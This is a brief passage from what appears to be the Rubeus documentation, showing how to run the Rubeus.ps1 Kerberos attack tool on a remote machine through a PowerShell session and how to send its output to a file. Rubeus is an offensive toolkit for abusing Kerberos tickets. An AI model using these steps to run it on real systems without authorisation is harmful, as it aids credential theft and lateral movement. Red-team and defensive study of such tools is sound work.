Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1
```

Alternatively, Rubeus' `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file.

---

Source: <https://github.com/GhostPack/Rubeus>